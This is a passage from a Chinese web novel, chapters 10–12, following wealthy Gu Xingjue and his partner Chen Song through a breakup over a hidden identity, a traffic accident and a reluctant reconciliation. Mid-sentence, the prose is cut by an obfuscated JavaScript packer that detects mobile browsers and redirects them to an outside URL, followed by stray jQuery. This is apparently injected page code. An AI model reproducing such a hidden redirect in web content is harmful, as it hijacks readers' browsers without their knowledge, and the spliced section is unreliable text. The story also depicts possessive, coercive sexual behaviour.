顾行决终于读懂陈颂眼中那抹散不尽的忧伤从何而来了。 陈颂是特别的人,是世界上另一个没家的顾行决。 不知道为什么,顾行决荒唐地想给他一个家,好像那样的话,自己就能也得到一个家。 10. 程颂 陈颂父亲去世的初夏后,顾行决很宠陈颂,但没说出自己的真实身份。 起初顾行决以为二人不会再见面,所以没解释。后来觉得等陈颂自己擦亮狗眼巴结他的蠢样肯定很有趣,所以没说。 但这个蠢货一直没发现,顾行决觉得更好玩了。 他忽然不想被发现了。 顾行决想知道,真的有人会不贪图他的钱财权利还对他那么好么?要是被陈颂发现真实身份,陈颂也变成那些巴结他的人怎么办,他不希望陈颂变成那样的人。 陈颂对他很好,甚至会怕他没钱花,偷偷给他塞钱。顾行决觉得好笑,心中还有一种莫名的感情悄然而生。 顾行决很享受这种纯粹的好,他甚至在扮演“顾墨”不让陈颂发现这个游戏里找到莫名的刺激感。 直到这个游戏被打破,陈颂没有巴结他,竟然要分手,断绝关系? 顾行决觉得陈颂脑子有问题,是外星人,别人巴结他顾大少还来不及,陈颂竟然要断绝关系? 十一月的京市晚风微凉,顾行决点燃一支烟,深吸一口缓缓运出去。 往事回忆如烟雾一吹而散,不知不觉间他和陈颂都快三年了。 谢砚尘略过他,走在前面,揶揄道:“没想到咱顾大少包养了那么多小情儿,今儿也算被包养了一回呢。” “依我看啊,把他玩死的人可不是云景笙,”谢砚尘站在黑跑前拉开车门,偏头看向顾行决一字一顿地说,“是、你。” 顾行决目光暗沉下来,猛吸一口烟,快步跟上进了车:“放屁,那老狐狸跟我是能比的?” 谢砚尘眯起一双好看的狐狸眼不怀好意地打量着顾行决,随后摇摇头移开目光看向前方,发动车子:“那你说说他知道你有钱后,为什么不巴结你还要离开?不就是气你骗他。” “要是有个人跟你睡了三年,连个名字都是假的,你不得把人皮扒了扔出北城,看谁还敢戏弄你顾大少。” “他不图你财跟你三年,白白给你睡还给你花钱,肯定是跟你来真的啊。那叫什么来着,人家跟你搞纯爱,”谢砚尘轻笑着打了个转弯,“你他妈精.虫上脑只想做.爱。” “我的顾大少爷,你以后肯定遇不到这样好的男人咯。” “不图你钱不图你权,图你浪荡不羁爱自由。” 顾行决几乎立刻想要反驳,可话却卡在了嘴边。手中的烟在车窗外烧起火星点点。 他仔细品味着谢砚尘的话,蹙眉道:“你的意思是,他……”爱?喜欢? 这两个字他似乎很难说出口。 “对我有意思?”他最终斟酌换了一个说法,顿了下又补充一句,“还是不图我钱的那种?” 谢砚尘但笑不语,顾行决这副陷入苦思的样子着实有趣,看热闹不嫌事大地调侃他:“你这样子,该不会,也爱上他了吧?” 顾行决皱眉,顿了下才凌然正色道:“你看我像有病么。” 谢砚尘挑眉:“确实有,相思病。确诊为恋爱脑。” 顾行决扔掉烟骂他:“你他妈去死啊。” 未燃尽的烟被风卷走,消失在黑色的车身后。二人驱车来到了以前常来的会所喝酒。 北城有四大少,顾行决是为首的纨绔风流。这其实都是谢砚尘给他扣的帽子。他只是爱玩极限运动,这些喝酒泡吧最会干的是谢砚尘。 谢砚尘这次没要包厢,直接在场外要了个卡座。谢砚尘出来的消息早就传遍京市,想要巴结的人很快围满卡座。 顾行决坐在一旁意兴阑珊,一直在想陈颂的事,没喝酒,一直抽着烟。谢砚尘玩游戏叫他几次,顾行决都没吊他,谢砚尘干脆就不管他了,自己跟着几个人玩开了。 顾行决坐在一旁抽着烟,身边递来了一杯酒。 蹦迪的音乐很大,那人扯着嗓子在他耳边说话:“行决!我们一起逃去骑车吧!” 顾行决闻声看了他一眼,男人明媚的笑容满是期待。 迷幻绚烂的灯光忽暗忽明地落在男人身上,他穿着深绿棒球服,精致有型的头发帅气清爽,明媚的笑容里眼含星光。 “程颂,上次在砚尘接风宴上见过。记得不?”程颂莞尔道。似乎并不在意顾行决是否真的记得他。 程颂长得算中上水平的帅哥,不是一眼惊艳型的。让人觉得耐看的是他炽热明亮的双眼,由内而外散发的自信明媚像盛夏的太阳。 仅仅于此的话,顾行决是不会记住他的。 让顾行决记住他的,是他的名字。 顾行决是在谢砚尘的接风宴上见到他的。谢砚尘刚落地京市就打电话约他第二天出来吃饭。程颂也是像今天一样端着一杯酒走到他身边打招呼。 顾行决一个眼神都没给他,直到他说出了自己的名字,顾行决才抬眼看了他。 顾行决忽然觉得有些好笑,一样的名字,性格却截然不同,一个像冰山,一个像烈阳。不过顾行决对他没什么兴趣,那晚并未搭理他,程颂也知趣地没再打扰。 此时音乐短暂地停了下,程颂见顾行决没接酒,将酒杯递在自己唇边抿了一口。 晶莹的酒水沾在饱满的唇上,鲜红的舌尖不经意探出舔了舔。 “哪个song?”顾行决忽然问他。 程颂本以为顾行决这次依旧不会搭理他,有些惊喜地回答:“山一程水一程的程,歌颂的颂。” 顾行决若有所思地点点头,不是陈颂,不如陈颂。 花里胡哨的,就跟这个人一样。 他的陈颂是耳东陈,歌颂的颂,很简单,也就跟陈颂一样。 程颂抿唇欢喜地笑着,从口袋里拿出一袋□□糖,拆开紫色包装,拿出一颗晶莹q弹的糖给他:“我看你心情不好,吃点甜的心里就没那么苦了。” 顾行决微顿,觉得他愚蠢的样子很像当初陈颂一口咬定他是个穷鬼时的模样,他嘲讽道:“我看上去是要用糖哄的男人么。” 程颂顿在空中的手并未收回,面对顾行决的嘲讽也没有尴尬的意思,甚至笑得更加明朗:“可是我看你高中在便利店经常买这个诶。你不爱吃么?” 顾行决想了想,确实有这么一回事,但那是给顾铭意买的,顾铭意爱吃。 顾行决接过程颂手里的糖,偏头挑眉看他:“我怎么没见过你。” 程颂撇了下嘴,装作很伤心的模样:“太伤心了吧,好歹我们也是一个篮球社的。” “不过,我是替补,”程颂又笑了起来,“打的不好,透明人一个,你肯定对我没印象。” 顾行决确实想不起来,高中那个年级正是他最叛逆,目中无人天下为我独尊的时候。顾行决咬了口糖,黏腻的果糖在唇齿间绽放着葡萄的果香。 难吃,但心情确实好点。 顾行决骨节分明的手指将烟摁灭,起身道:“走吧。” 程颂兴奋地蹦起来,满心欢喜地把车钥匙给他:“我喝酒了,你载我嘛。” ── 漆黑的夜被月光点亮,繁星璀璨,晚风温柔地拂过,像位迷人的母亲亲吻陈颂低烧的额头。 川流不息的街道,绚烂的灯光映照在错落的大厦,好像一头蛊惑人心魄的魔兽,要将寂寞的人吞噬殆尽。 陈颂云景笙二人从上车到现在沉默良久,一向擅长引出话题的云景笙面对满面心事的陈颂也有些无措。 若那个对象是普通人,云景笙尚可为他开导几句,但偏偏是顾行决。 云景笙所了解的陈颂只是一个普通的乖孩子,也不知道和纨绔浪荡的顾行决怎么扯上关系的。 依照顾行决那样霸道的作风,估计就是他耍的手段。 在等红绿灯的间歇,云景笙侧目温和地道:“抱歉,都是我擅作主张让他们一起来,这本来应该是个愉快的晚餐的。我也没想到会遇到他们。” “他们是我弟弟的朋友,我作为他们的长辈,与礼来说不应该拒绝。我并不是我,我代表的是云家,其中还牵涉到家族的利益。” 云景笙淡淡地叹了口气:“下回我们去你说的那些店再吃吧。” 陈颂其实根本不知道该怎么跟云景笙解释和顾行决之间的荒唐事。他并不在意别人如何看待自己是同性恋这件事,因为他从来没被人看好过,所以怎么评价都无所谓。 难听的话早就听过无数回了。 只是云景笙是他尊敬的老师,他怕吓到云景笙。 不过从云景笙的反应来看,并未被吓到,还反过来安慰他。陈颂心里更加愧疚了。 顾行决如何诋毁他,自己心痛忍下没有关系的。可是云景笙不一样,云景笙那样好的人...... 陈颂眼睛酸涩,垂眸,喉咙痛得声音很轻:“是我不好。云教授。下次我请你吃吧。” 云景笙莞尔地点点头:“好啊。就去你选的地方吧。” 街口的红灯转变为绿灯,云景笙发动车子继续前行。 “其实我觉得那家店也不怎么好吃。哈哈。”云景笙轻轻笑着,声音如晚风般柔和动人,“那样一顿下来肯定花不少钱,我们提前走了还少花一笔钱呢。让那两个冤大头付钱吧。他们也就人傻钱多了。” 陈颂心忽地抽了抽,觉得很疼。 云景笙无意间的玩笑,像跟针似的扎在陈颂的心上,陈颂扯出一个艰难的笑,没有说话。 其实他才是那个被人骗了三年的冤大头。 二人有一搭没一搭地聊着,车开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379778|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了校门口。 陈颂下车关上车门,强忍着身体的不适告别:“今天麻烦你了,云教授。路上小心。” 云景笙点点头,装作不满又无奈地笑道:“怎么吃顿饭更加见外了。” 陈颂很轻地眨了下眼皮:“明天见,景笙哥。” 云景笙这才笑逐颜开:“明天见,小颂。” 陈颂感觉发烧有些严重了,有些晕头转向的,而且浑身很冷。现在只想钻进温暖的被窝里,可是他的被窝已经不属于自己了。 他越想越难受,心中的委屈似潮水般翻涌着。 陈颂突然有些后悔这么晚还要回学校填住校申请了,从大门走到宿管阿姨的办公室要十分钟。 大道旁栽满了银杏树。枯黄的叶子跟着冷风打在陈颂身上,冻得他发抖。 早知道明天再来填表格了,可他心里有口气,固执地想快些搬进学校里。 似乎这样就能有个安息之地,似乎这样他就没被世界抛弃。 陈颂拖着疲惫的身体来到宿管办公室,正好赶上宿管阿姨锁门。阿姨本来叫陈颂明天再来填的,但看着陈颂一脸憔悴样,又心软地重新给他开门开灯,找表格给他填。 还数落了他一顿。 “学期都快过一半了怎么才想来住宿舍,早不住晚不住,你这样很难算住宿费的我跟你说诶。宿舍本来一开始住呢,都可以跟同班同学一起住,大家一个专业的好互相照顾。你现在突然住,你说说怎么个回事啊。还这么晚来找我,你怎么不在我睡着了把我叫醒给你办。” 陈颂知道自己占用着人家的休息时间,也很不好意思,只是将数落全部吞下,跟她不停说着抱歉。 阿姨看他相貌帅气,还算懂礼貌也不好意思再为难:“事先跟你说好,你这种情况还是要交一整学期的住宿费的。也别怪学校坑人,怪你自己一开始没想清楚。” 陈颂边填表格边点点头:“好的,麻烦您了,真的很抱歉。” 阿姨嘴硬心软,看着陈颂一个清俊小伙这么疲惫,忽然有些不忍,无奈地苦口婆心道:“你去跟你老班说说去,说不定他能给你向学校反应,退回点钱给你。” 陈颂礼貌地微笑着回应:“好。” 他的眼睛忽然有些发酸。如果阿姨一直责备他,他并不会有什么关系的,可是突然来的温柔让他有些手足无措,更加委屈。 陈颂填完表格后就准备回酒店休息了,临走时阿姨还百般交代他路上小心。 陈颂定的旅馆离学校大概三公里的距离,不舍得打车,这么晚公交也没了,他只能骑共享小毛驴。 陈颂学校所在的地方位于市中心附近,这片区域有三所大学,离得很近,除了陈颂所在的普通一本,还有一所私人国际学院和一所顶尖985。听云景笙说,他的讲座在这三所大学里都有开设。 所以这附近晚上都很热闹,深夜十一点多路上还有些外出返校的大学生。 陈颂在大道上行驶,路过那所私人国际学院时,目光忽然被定住了。 那抹熟悉到无法认错的身影立在大门旁,深邃的双眼正深沉而柔情地看着他面前的一个男人。 顾…… 面前的男人比顾行决矮了小半个头,绿色棒球服搭配黑色牛仔裤,精致的发型下侧脸洋溢着明艳的笑容。映红饱满的嘴唇不停张合着,不知道在欢快地讲些什么。 顾行决就这么垂眸看着他,一言不发静静地听着他说话,像个宠溺的聆听者。 画面像一把刀具残忍地割裂着心脏,陈颂自虐般地驻足原地,一眼不眨瞪着眼睛,眼睛很酸很疼,风沙不断打磨着眼球,让他红了眼。 那种难以呼吸,四肢发麻的感觉一瞬间涌了上来。 顾行决从来没有这样如此宠溺得听他说过话,哦,不对。 陈颂忽然惊觉,是他自己,从来没有像那个男生诉说的勇气。 男生不停说话的嘴巴停下了,抬手摸上了顾行决的发梢,取下一片枯叶,目光灼灼地注视着顾行决。 那样的眼神暧昧的,有些青涩的,纯粹的,炽热的。 陈颂慌乱地移开目光,他看不下去了,他想快点逃离这个地方。可他浑身僵硬地无法控制般顿在原地,呼吸十分紊乱,四肢百骸都钻来万蚁啃食般的疼痛。 不知在原地愣神了多久,他才被身后不断的车鸣声唤醒。 陈颂深吸几口气,强迫自己镇定下来,用力紧握几下手心才减少些发麻的感觉。 他立马转动把手开车,却没注意到此时的红灯,没开多远就在斑马线上被撞了。 陈颂天旋地转间,眼前一黑倒在地上。 周围的女大学生尖叫着几声,引起一片骚动。 11. 妥协 “那边好像出车祸了。”程颂闻声转头看去。 顾行决抬眼淡淡扫了眼事故中心,乌泱泱的一群人在马路对面围了起来,具体什么情况也看不清。 三五辆轿车被人群拦断,停在原地开着双闪,车鸣不止。 “早点回去休息吧。”顾行决收回眼神道。 程颂也跟着收回目光,看向顾行决:“那明天见啦。” 程颂的眼神在顾行决脸上停留很久,然后不舍地勾着顾行决脖子上的银项链,暧昧地拉近距,在他耳边说:“我会想你的。” 程颂不等顾行决回应,语罢快速松开人跑了。 顾行决眉头很轻地皱了下,扯了扯项链,看着狡猾的背影冷笑了声。随后长腿一跨坐上机车,利落地戴上头盔发动车子,“嗡”一声飞速行驶。 横穿马路时,那群乌泱泱的人已渐渐散开了,人群中被扶起来的人是── 陈颂! 头盔下黑色玻璃镜中的陈颂失去鲜明颜色,灰黑一片,额头流着褐色液体,一副闭目就再也不起的样子。 眼前的画面如电影慢放般撞进眼中,周遭一切的混沌喧嚣骤然静默失色。 顾行决猝然睁大双眸,浑身血液骤然降到零点。他调转车头强压车身迅速漂移,惊得四周的车急刹长鸣,马路转口被堵的水泄不通,差点发生车祸。 顾行决在破骂声中刹车跳下车,黑绿色的摩托被摔在一旁,他摘下头盔扔到一边,撞开人群,冲上前将陈颂用入怀中,颤抖着唇叫他:“……陈颂,你怎么样?啊?醒醒?” 顾行决发麻的手轻轻拍着陈颂的脸,刚触碰就被他滚烫的肌肤吓到了。 “你认识他吗?他刚闯红灯我没注意撞到他了。”旁边的一个中年男人道,“我开的也是电瓶车,没很快,应该不严重的啊,可能就是皮外伤的样子,他怎么怎么……不会讹我吧?我已经报警了。” 顾行决像没听见他说话一样,颤抖的指腹想去为他止血,可又害怕弄疼他,急得不知如何是好。 陈颂忽然痛苦地皱起了眉毛,呼吸很沉重。 顾行决这才冷静许多,拿出手机叫救护车。他揉了揉太阳穴,眼神锋利地杀向那个中年男人:“你最好祈祷他没事。” 中年男人看顾行决骑着摩托来的,穿得跟黑涩会一样,整个人浑身上下就写着地痞流氓四个字。看上去十分不好惹。 中年男人憋着气:“明明是他闯红灯还想赖上我!我看他就是装的!别想讹我,我已经报警了!” 顾行决凌眉,目光阴沉地让人毛骨悚然:“闭嘴!” 中年男人被吓得浑身一抖,不敢说话。周围的人也被顾行决气场震慑住,纷纷离开了。只剩几个看热闹的也躲在远处看。 顾行决抱着怀里的陈颂来回检查了几遍。确实如男人所说伤势没那么重,之所以晕倒主要应该是因为发烧。 陈颂又瘦了很多,明明穿着衣服骨头还是硌得他疼。 陈颂发烧了,每年都会发烧一次。每次发烧都会可怜巴巴打电话给他。他都会难得心疼陈颂回来照顾陈颂。尽管有次还在国外海域潜水,他也立刻买票回了家。 陈颂是什么时候开始发烧的?刚才吃饭好像就不舒服了,这次不舒服怎么不跟他说呢。 顾行决握着陈颂的手,生气又很无奈地说:“你就这么生气么。” 陈颂醒来的时候,浑身轻飘飘软绵绵没有一丝力气,纯白的天花板有些陌生,难闻的消毒水充斥着鼻尖。 他生理性抗拒这个气味,有些想吐。 陈颂艰难地眨了下眼皮,嗓子干疼得厉害。他转动眼眸,看到了靠在病床边睡着的顾行决,原本平静如水的心泛起一层波澜,被那粗粒手掌握着的手,不可抑制地动了下,动也醒了顾行决。 顾行决见人醒了立马扶陈颂坐起来,给他倒了杯水喂进人的嘴里。 陈颂安静地喝了一整杯水。 “还要么。”顾行决拿纸巾擦了擦他的嘴角。 陈颂扯着嗓子冷冷地说:“谢谢,不用了。你可以走了。” 顾行决有些受够了陈颂这副冷漠的态度,但看着他这副虚弱的样子又不忍心发作,咬牙切齿地说:“你都不问问我怎么在这,啊?我照顾你一晚上,你就这态度?” 陈颂哑着嗓子,忽然红了眼:“你怎么在这还需要我帮你回忆么。不就是送人回学校,恰巧碰上麻烦的我么。” 顾行决一愣:“你都看到了?所以你才闯红灯?” 陈颂笑的很难看:“别太把自己当回事了。我们已经没关系了,你爱跟谁在一起就跟谁在一起。我只是……我只是……” 陈颂说的话一句句都如刀割在喉咙上,鲜血淋漓,他实在做不到那么快就放下顾行决。 他嘴上的洒脱都是伪装,他说不下去了,他无法看着顾行决和别人在一起。 陈颂殷红的眼尾落下一颗滚烫的泪珠,他死死咬住嘴唇,咬的流出了血也想维护他最后那点可怜的自尊。 陈颂的那滴泪好像落在了顾行决心上,烧起一片连绵不绝的火。 顾行决吻上陈颂紧闭的唇,温柔地舔舐吸吮着睲甜的血液,不断地安抚他:“那个人只是朋友。好久不见的高中校友,我跟他什么都没有,别生气了好不好。” “看把自己都气成什么样了。”顾行决坐到床上把人拉入怀中抱着,“再说了,是哪个人说要跟我断绝关系的。你的心要是有你的嘴那么硬就好了。” 顾行决在哄陈颂上很有一套,只要跟哄小孩那样轻声说话,不断亲亲他抱抱他,人就浑身软的连脾气都没了。 只不过这次人的确气狠了,简单几句很难哄好。 陈颂紧绷着一张脸,情绪并没有得到缓和,他只觉得顾行决的甜言蜜语很假,感受不到任何的真情实意。 因为他不是顾墨,是顾行决。 陈颂眼里的泪早已化作悲伤的情绪咽了回去,他又恢复成原来那副默然的样子:“顾……行决,即使你们两个真在一起了,也跟我没关系。我们本来就是两个世界的人。” “这三年我无法当做从没发生过,就当是一场梦吧。现在梦醒了。” 顾行决顿了顿,好像有什么东西要从他生命里溜走一样,令他焦躁不安,可他又无法解释这种情绪是什么,最后全被他用愤怒所诠释。 他惩罚似的咬了陈颂的耳朵,恶狠狠地说:“在外面偷人的人是你吧,陈颂。云景笙那个老狐狸到底给你了什么好处,你就这么着急想把我踹了?” 陈颂激烈地挣脱他的束缚,使劲浑身力气推他,尽管如此那一掌并没有什么力气,软绵绵地像撒娇。 但他语气悲切又愤怒,像只应激的猫:“你以为全世界都是和你一样是同性恋么?你怎么说我都可以,景笙哥他不是!” 顾行决呼吸重了几分,用力反抓住陈颂的手,将他压制在怀里,紧紧桎梏:“景笙哥?” 男人眼底一片阴翳,冷厉的声音里压抑着滔天的怒意:“谁允许你叫的这么亲的?叫我就连名带姓的,嗯?我告诉你,他他妈就是死gay!” 陈颂气得发抖,不管怎么挣脱也无法逃离顾行决钳具般的双臂,心底无处发泄的怒意化作利齿上的毒,狠狠咬住顾行决的手。 顾行决吃痛地皱眉,自虐般任他咬着,疼痛的感觉像钢丝般扫过他心上,酸痒的感觉让他痛快许多,他冷笑一声:“你应该很高兴吧?云景笙是个同性恋,他就是个道貌岸然的伪君子,老狐狸。玩你跟捏死一只蚂蚁一样简单,你最后怎么死的都不知道!” “跟着我不好么?嗯?”顾行决掐住陈颂的下巴,迫使他看向自己,“他云景笙能给你什么我顾行决给不了的?” 顾行决蛇蝎般的双眸绽射阴狠狡黠的寒光,满脸戏谑嘲讽,像是顽劣的捕猎者,将陈颂的仅剩的尊严彻底碾碎。 陈颂看着眼前无比熟悉的人,目光驻留在顾行决的断眉上,心里慌张又害怕,有什么不可抗拒又看不到摸不着的力量在无形地拉开二人之间的距离。 那颗炽热不断奉献燃烧的心脏在失去名为“顾墨”的氧气后,渐渐趋近于覆灭。 陈颂双眼酸涩,垂眸的目光落在顾行决脖颈间的银项链上,面对无法挣脱的束缚放弃抵抗:“他只是我很尊敬的老师,你为什么……” “为什么要这样说他。”陈颂的声音很轻,轻到能听见细微的,努力抑制的哽咽。 顾行决一顿,不自觉地放松了些禁锢的力道,有一瞬间的愣神,汹涌的怒意缓缓散去。 窗外下着淅淅沥沥的雨,灰蒙蒙的天加深了病房的压抑。 顾行决见陈颂一副快要碎掉的可怜样,忍不住又好脾气地哄了哄他:“好了我知道了。你说没有我就相信你。我和他弟认识,自然知道他是真的喜欢男人。所以你以后不要这么晚了不回家还和他单独出去,我不放心。还有,不要穿他的衣服。你没衣服我就带你去买几件。” “顾行决,”陈颂淡淡地打断了他。如此冷漠又平静地叫着他真正名字时,顾行决心里有种很奇怪的感觉,“我不回去了,我要住校。” 顾行决浓 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陈颂眼底唯一的期待还是覆灭了,他摇摇头,目光移向窗外的雨:“顾墨和我是一个世界的人,你不是。我和你之间不是一个世界的人,就像你无法理解为什么我执着于名字一样。” 顾行决都要给他绕晕了:“哪里不是了,你说?只要我们两个站在一起,就是同一个世界的人。” 陈颂沉默了片刻后,缓缓道:“你走吧。” 顾行决心里又气又急,恨不得立马给他办了,让他哭喊着求饶。 可陈颂怅然若失的样子让他突然想起,那个初夏的阴雨天,陈颂流着泪和他心如死灰地说自己没家了。 顾行决脑海里闪过谢砚尘说的话。 “我的顾大少,你再也遇不到这样的好男人了。” 顾行决是不信的,但他承认多少有些触动。 顾行决拉起陈颂的手,再次抱起他,温声道:“陈颂。我不是故意瞒着你的。是你先把我认成穷光蛋。我一开始确实觉得有些好玩,觉得你瞎了眼,我这么英俊潇洒帅气多金,活了这么久第一次有人把我当做穷光蛋。” “我从小身边都是一群巴结我的人。”顾行决顿了下,眼里有一丝晦涩的闪烁又很快恢复如常,“不是贪图我的钱就是贪图我家的权利。我第一次接触你这样的傻子。不图我的钱,不图我家的权利,给我介绍工作,给我钱花,还给我做饭吃。” “这种感觉很新奇,”顾行决粗粝的手掌玩弄着陈颂白如玉瓷般的手,“我以为我们第一次见面后就不会再见了,也没解释。我这个人很怕麻烦,解释起来你未必也一时间相信。我那时候穿的破破烂烂是骑车摔得。至于手上这些茧和身上的伤是攀岩和一些极限运动留下的。我不是搬砖的。” “那次见面后我偶尔会想起你,忍不住靠近你。也想过你擦亮眼睛,发现我真实身份后巴结我的样子。我会觉得可笑。可是我舍不得你变成和别人一样。” 顾行决在陈颂的眉间落下虔诚的吻:“因为你在我这很特别。” 顾行决说的话很慢,慢到如温热的潮水慢慢淹没陈颂的心脏,他心跳得十分厉害,生涩地眨了眨轻薄的眼皮。 顾行决从未和他说过自己的事,也从未说过这么多的话。当一个话鲜少的人谈论起自己的事,像在把自己的一颗真心剥了出来。 真挚,炽热,滚烫。 陈颂无法消化顾行决话里的意思,脑子乱的一团浆。 顾行决不带任何情欲地亲吻着他的额头,眼睛,鼻梁,最终落在轻微起皮的唇上。用自己湿热的舌尖浇灌着干涩的嘴唇,低沉的嗓音如梦幻般柔情真切:“你体谅体谅我呗。嗯?” 陈颂任他亲吻着没说话,顾行决见他乖顺动摇的模样,一时动了情,加深了这个吻,紊乱交织的呼吸间唇齿纠缠。 陈颂被吻得脸上泛起红晕,像朵妖艳的玫瑰,迷人的花色一直蔓延至纯白细腻的脖颈间。 顾行决粗粝的指腹轻捏着他粉白的耳垂,眼神幽晦得看着他,语气有些低落:“我回家都看不到你。” 陈颂深深吸了口气,抿着唇,脑海中一直维持理智的那根线紧紧绷着,将他勒在悬崖之上,好像只要一断,他就不可救药地坠入深渊里。 他什么也没有,又在害怕失去什么呢?他只有顾墨,害怕失去的不就是顾墨么。 陈颂沉默了片刻道:“顾……行决,给我点时间吧。” 陈颂不知道这个时间是接受顾墨就是顾行决的时间,还是放下顾墨离开顾行决的时间。 如果未来遥不可及,那就沉迷现在吧。 陈颂在妥协,现实从不让他选。 12. 第一巴掌 顾行决对陈颂的态度,答案,都不甚满意。不知道他的执拗和固执有什么意思,大家开开心心的不好么,为什么非要闹得那么难看。 原来装作没钱,出去耍都耍不开心,现在有钱了,他能带陈颂去任何想去的地方,想买什么买什么,想玩什么玩什么。 陈颂到底是哪根筋搭不对。 不过既然陈颂已经有些动容,就说明他还是离不开自己的。再哄哄就好了。 顾行决带着惩罚意味地撕咬着陈颂的唇:“别让我等太久。” 陈颂被人亲的浑身酸软,意乱情迷。二人缠绵许久顾行决才放过他。 顾行决让人准备了营养餐,顾行决喂他吃饭,陈颂乖乖吃着,像往常他生病了一样,顾行决耐心地照顾他。好像一切都没变。 陈颂在医院打完点滴休息很久才准备出院。 出院时二人又发生了点小争执。 “你就那么想住校?家里好好的床不住,去跟人挤宿舍?生着病还要这么折腾。” 陈颂伸手想拿走顾行决手里的药:“没事的,我可以自己去,不麻烦你。” 顾行决气的撇开手不让他拿:“陈颂!” 陈颂无奈地笑笑:“不是说了么,给我点时间。” 顾行决拉着人走到地下停车场,一辆红色的跑车立在他面前,和顾行决一样张扬。 只有两个座,顾行决给他拉开副驾的位置,陈颂却没半点要上车的意思。 顾行决有些不耐:“上车啊。” 陈颂没动,他不知道为什么就是不想上。也许打心底里还是没接受顾行决。 陈颂张了张嘴半晌才道:“要不我还是……” 他话还没说完就被顾行决拉上了车,周身全被浓烈的车载香水充斥着。说不上难闻也说不上喜欢,总之有些陌生的不安感。 顾行决一上车就狠狠亲他,粗粝的指腹到处点火:“等你病好了,看我怎么收拾你。陈颂,你能不能别那么死脑筋。” 陈颂抓住顾行决的肩膀想去推开他,他微薄的力气根本无法撼动兴趣大发的野兽,最后在顾行决的玩弄间泻出一股邪火。 顾行决猩红的双眸幽幽看着他,带着胜利者地笑意,不紧不慢地擦了擦手:“我同意你住校,但周末得回家。” 陈颂心中理智与顾行决的天秤最终还是倒向了顾行决一侧,他的沉默代表了同意。 顾行决脱下外套给陈松披上:“以后只许穿我的衣服。这阵子雨过后就快下雪了,我带你去买些衣服吧。以前都是你给我买。” 陈颂轻轻抓住披在身上的皮衣,目光垂在地面上:“不用。我衣服很多。你带我回家拿点带学校吧。” 顾行决没再说话,依他回家收拾了行李,然后把人送到了学校门口:“原来你在这上学。” 陈颂心底难掩失落,可他已经习惯了顾行决的忽视,麻木地小声嘟囔道:“我跟你说过。” 顾行决却没听到,轻抚陈颂的脸颊:“真不跟我回家?” 陈颂没说话,目光深远地看着马路对面的树,不知道在想些什么。 顾行决松手转身走了。 没有依依不舍的惜别。 十一月末京市的气温骤降,连续下了好几天的雨。陈颂在雨里撑着伞目送那辆红跑远去。 上午老班给他发信息说已经安排好入住。陈颂到学校的时候已经是下午。 宿舍是六人寝,除去他只有三人入住。陈颂和他们简单打了声招呼,了解过来一个和他一样是学期中途住进来的,另外两个是换寝室的。 闲聊几句后就各自管各自的了。 宿舍生活过得并不好,陈颂的第一晚就失眠。也许是因为顾行决,也许是因为室友的呼噜声太大。他又是闭着眼到了清晨。 陈颂的睡眠质量很差,认床,稍微有些杂音就睡不着,半夜有人呼吸重了他都会醒来。这段时间在酒店住得不习惯,靠安眠药入睡,现在搬到宿舍,睡眠环境更差了。 他破天荒地有些想念那个家里的床。 世界不会因为一个人的变故停下运转,连绵的雨终究停下,在十二月初漏出久违的阳光。 周五的清晨,陈颂走在教室的路上。温暖的阳光落在他雪般的肌肤上,却无法捂热他的心。 这一周他都在慢慢想着顾行决的事,冬天的气息带着初见的回忆萦绕心头。 陈颂深知其实他叫什么,他是谁并非是真正横在他们俩之间的沟壑。 就算他继续接受顾行决。他们也无法长久的走下去。 他就像顾行决养的一只宠物,心血来潮想起时便屈尊降贵地逗弄一下,当这种无聊的情绪得到满足后,又把他丢到一边。 他和顾行决之间从来就不平等,都是他在卑微乞求。 陈颂明知这样不好,可顾行决却像他的毒瘾,怎么也戒不掉。 这样不上不下,不清不楚地纠缠,陈颂想不出结果,找不出解决的办法,于是干脆一股脑把心思钻进学术研究上。 时间也没那么煎熬,很快就来到了周五。周五下午有云景笙的课。 自上次不愉快的晚餐后,云景笙没再提过顾行决,二人之间的交流与谈话也仅限于学术研究上。 云景笙的课依旧来了很多学生,教室里容纳下几百号人。一下课满屋子的学生如水泄一般涌了出去。 陈颂坐在最后排,每次出教室都要等上好一会,他不想跟人家挤来挤去。 他慢吞吞收拾东西,教室里也所剩无几,讲台上的云景笙被几个学生缠着问问题。 陈颂本想打个招呼再走,见状也不好打扰。 云景笙一席深黑羊羔绒大衣,戴黑丝眼眶,温文尔雅,风度翩翩,与人交谈的模样成熟稳重。 陈颂正要收回目光时,云景笙却看了过来,唇角微扬:“陈颂同学留一下吧。我有些事要跟你讲。” 陈颂目光轻轻一滞。 云景笙对身旁的几位学生道:“不好意思了同学们,下次再聊吧。我待会要去赶车,有什么问题也可以钉钉问我。” 女同学问:“教授要去哪啊。” 云景笙回答:“去南城,工作上有些事。” “南城啊,我都还没去过,听说那边很暖和,冬天都不会下雪。” 云景笙笑着说:“偏北点南城有些城市还是会下雪的,偶尔吧。几年见一次小雪。” 学生们随意又聊了几句作为此次交流的结尾,纷纷向云景笙道谢告别。 云景笙整理完皮包叫上陈颂一起走。 冬天的夜晚来的快,傍晚五六点天色就暗了下来。晚霞妖孽旖旎的金黄落在城市的西边,凉风瑟瑟。 二人走在一地枯叶的小道上,一路向校门口走去。 陈颂怕云景笙赶不上车,先开口问:“云教授有什么事吗。” 陈松的脸颊被风刮得白里透红,像水仙花。灰蒙蒙的双眸里倒映晚霞,忧郁中难得流转出鲜艳的金光。 云景笙停下脚步,站他面前,将藏青色的围巾取下来,动作轻柔地给陈颂围上。 陈颂微微一愣,柔软丝滑的围巾上还留存着温热的花草气味,一层一层将干涩的风阻断在外。 陈颂本能地想去拒绝,这突如其来的举动本该有些暧昧,可云景笙浅淡的眼眸里只是纯粹的柔光,如温泉般温暖心弦。 云景笙的声音甘冽如泉:“我这次出差一周左右,下周的课上不了,帮我延迟一下。也就最后两节课了。优秀学生的名单也差不多出来了。” 云景笙眼里的笑柔和明媚起来,他弯唇道:“我选了三个,里面有你。” 